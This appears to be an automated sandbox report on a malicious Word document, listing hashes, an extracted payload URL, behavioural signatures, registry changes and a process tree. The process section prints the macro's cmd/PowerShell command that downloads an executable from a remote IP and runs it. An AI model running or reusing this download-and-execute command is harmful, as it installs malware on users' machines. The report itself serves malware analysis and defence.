Analysis
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max time kernel
246s -
max time network
337s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
25-11-2022 11:28
Behavioral task
behavioral1
Sample
e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c.doc
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c.doc
Resource
win10v2004-20221111-en
General
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Target
e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c.doc
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Size
70KB
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MD5
7a9018df7e4cde2acb0737a070dbe519
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SHA1
c789cc7e2ac8cf7ad980f7bccdfdd2387882c541
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SHA256
e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c
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SHA512
d3572392f3d933ba4cd5861d65cb4ef31d9b54f2f209d96e77e6c1780d939e59c266a1f2dbbbb6149f812370a991ba3038b6f830930a0719d25cc63c43ab6dcf
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SSDEEP
768:aDzj4Obrw0lWN+0Mdnn2RX0wRtvxkZhlkLk2buRRV1ij3BVeyzBcawx7+elWjZxw:Szji0lWzMB8/xxDbue9BBSyZxV
Malware Config
Extracted
http://23.95.23.202/v9y.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 552 588 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1092 powershell.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 588 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1092 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1092 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 588 WINWORD.EXE 588 WINWORD.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 588 wrote to memory of 552 588 WINWORD.EXE cmd.exe PID 588 wrote to memory of 552 588 WINWORD.EXE cmd.exe PID 588 wrote to memory of 552 588 WINWORD.EXE cmd.exe PID 588 wrote to memory of 552 588 WINWORD.EXE cmd.exe PID 552 wrote to memory of 1092 552 cmd.exe powershell.exe PID 552 wrote to memory of 1092 552 cmd.exe powershell.exe PID 552 wrote to memory of 1092 552 cmd.exe powershell.exe PID 552 wrote to memory of 1092 552 cmd.exe powershell.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e00b1af2bd049558b15f6c217524189501acfbedee80d1e02921eca7706fab4c.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /S /C powershell -command "(new-object System.Net.WebClient).DownloadFile('http://23.95.23.202/v9y.exe', 'C:\Users\Admin\AppData\Local\Temp\v9y.exe')" && C:\Users\Admin\AppData\Local\Temp\v9y.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "(new-object System.Net.WebClient).DownloadFile('http://23.95.23.202/v9y.exe', 'C:\Users\Admin\AppData\Local\Temp\v9y.exe')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/552-75-0x0000000000000000-mapping.dmp
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memory/588-62-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-59-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-70-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-58-0x00000000714ED000-0x00000000714F8000-memory.dmpFilesize
44KB
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memory/588-69-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-60-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-54-0x0000000072A81000-0x0000000072A84000-memory.dmpFilesize
12KB
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memory/588-61-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-63-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-64-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-66-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-71-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-67-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-68-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-57-0x00000000763D1000-0x00000000763D3000-memory.dmpFilesize
8KB
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memory/588-56-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/588-65-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-72-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-74-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-73-0x0000000000365000-0x0000000000369000-memory.dmpFilesize
16KB
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memory/588-55-0x0000000070501000-0x0000000070503000-memory.dmpFilesize
8KB
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memory/588-76-0x0000000000366000-0x0000000000368000-memory.dmpFilesize
8KB
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memory/588-84-0x00000000714ED000-0x00000000714F8000-memory.dmpFilesize
44KB
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memory/588-83-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/588-80-0x00000000714ED000-0x00000000714F8000-memory.dmpFilesize
44KB
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memory/1092-81-0x000000006AE40000-0x000000006B3EB000-memory.dmpFilesize
5.7MB
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memory/1092-82-0x000000006AE40000-0x000000006B3EB000-memory.dmpFilesize
5.7MB
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memory/1092-79-0x000000006AE40000-0x000000006B3EB000-memory.dmpFilesize
5.7MB
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memory/1092-77-0x0000000000000000-mapping.dmp